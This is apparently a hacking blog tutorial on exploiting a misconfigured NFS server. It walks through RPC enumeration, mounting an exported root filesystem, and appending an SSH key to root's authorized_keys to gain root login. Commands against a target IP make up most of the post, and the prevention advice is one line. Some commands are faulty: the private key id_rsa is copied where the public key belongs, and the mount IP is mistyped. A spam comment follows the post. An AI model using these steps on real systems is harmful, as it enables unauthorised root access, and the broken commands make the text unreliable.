Exploit a Misconfigured NFS Server | SSH | RPCbind

What NFS Server is ?

NFS is network file system and it is a client server system that allows client to access shared files over a network. It allows client to mount all directories. We are going to access a file system and import our private ssh key to  authorized key file gain root access via SSH. In the last i will tell how to prevent this this type of attacks on your server.

Let the victim ip is 192.168.43.176

open terminal and type rpcinfo -p 192.168.43.176  this will return all the registered RPC programs.

many people get the error that rpcinfo command not found “sudo apt update && sudo apt install rpcbind”

type sudo showmount -e 192.168.43.176 this will return the mount directories.

/ * means root directory
now create a tmp file for mount mkdir /tmp/dir this will create a temporary directory for mount the nfs server, now mount server to temporary directory type command mount -o nolock -t nfs 192.167.43.176:/ /tmp/dir 

now generate ssh key command ssh-keygen that will create a key in your /home/h0nk3r/.ssh/id_rsa

now import the key command cat /home/h0nk3r/.ssh/id_rsa >> /tmp/dir/root/.ssh/authorized_keys that will send your ssh key to the nfs server to gain access to root via ssh now just umount the shared directory umount /tmp/dir 

 

Now You can directly connect to the server type command ssh root@192.168.43.176 

Prevention:

If i am the owner of this server i can manage users with group and with the specific privileges and never use the root directory  as mount point.

Conclusion

Sorry if i made any mistake in conceptual or grammatical, as i am not good in English.
Hope you had a nice reading, comming back to hacknews.

One thought on “Exploit a Misconfigured NFS Server | SSH | RPCbind

  1. Hello ,

    I saw your tweets and thought I will check your website. Have to say it looks really nice!
    I’m also interested in this topic + have recently started my journey as young entrepreneur.

    I’m also looking for the ways on how to promote my website. I have tried AdSense and Facebok Ads, however it is getting very expensive.
    Can you recommend something what works best for you?

    Would appreciate, if you can have a quick look at my website and give me an advice what I should improve: http://janzac.com/
    (Recently I have added a new page about Rockwall Investments and the way how normal people can make money with this company.)

    I wanted to subscribe to your newsletter, but I couldn’t find it. Do you have it?

    Hope to hear from you soon.

    P.S.
    Maybe I will add link to your website on my website and you will add link to my website on your website? It will improve SEO of our websites, right? What do you think?

    Regards
    Jan Zac

Leave a Reply

Your email address will not be published. Required fields are marked *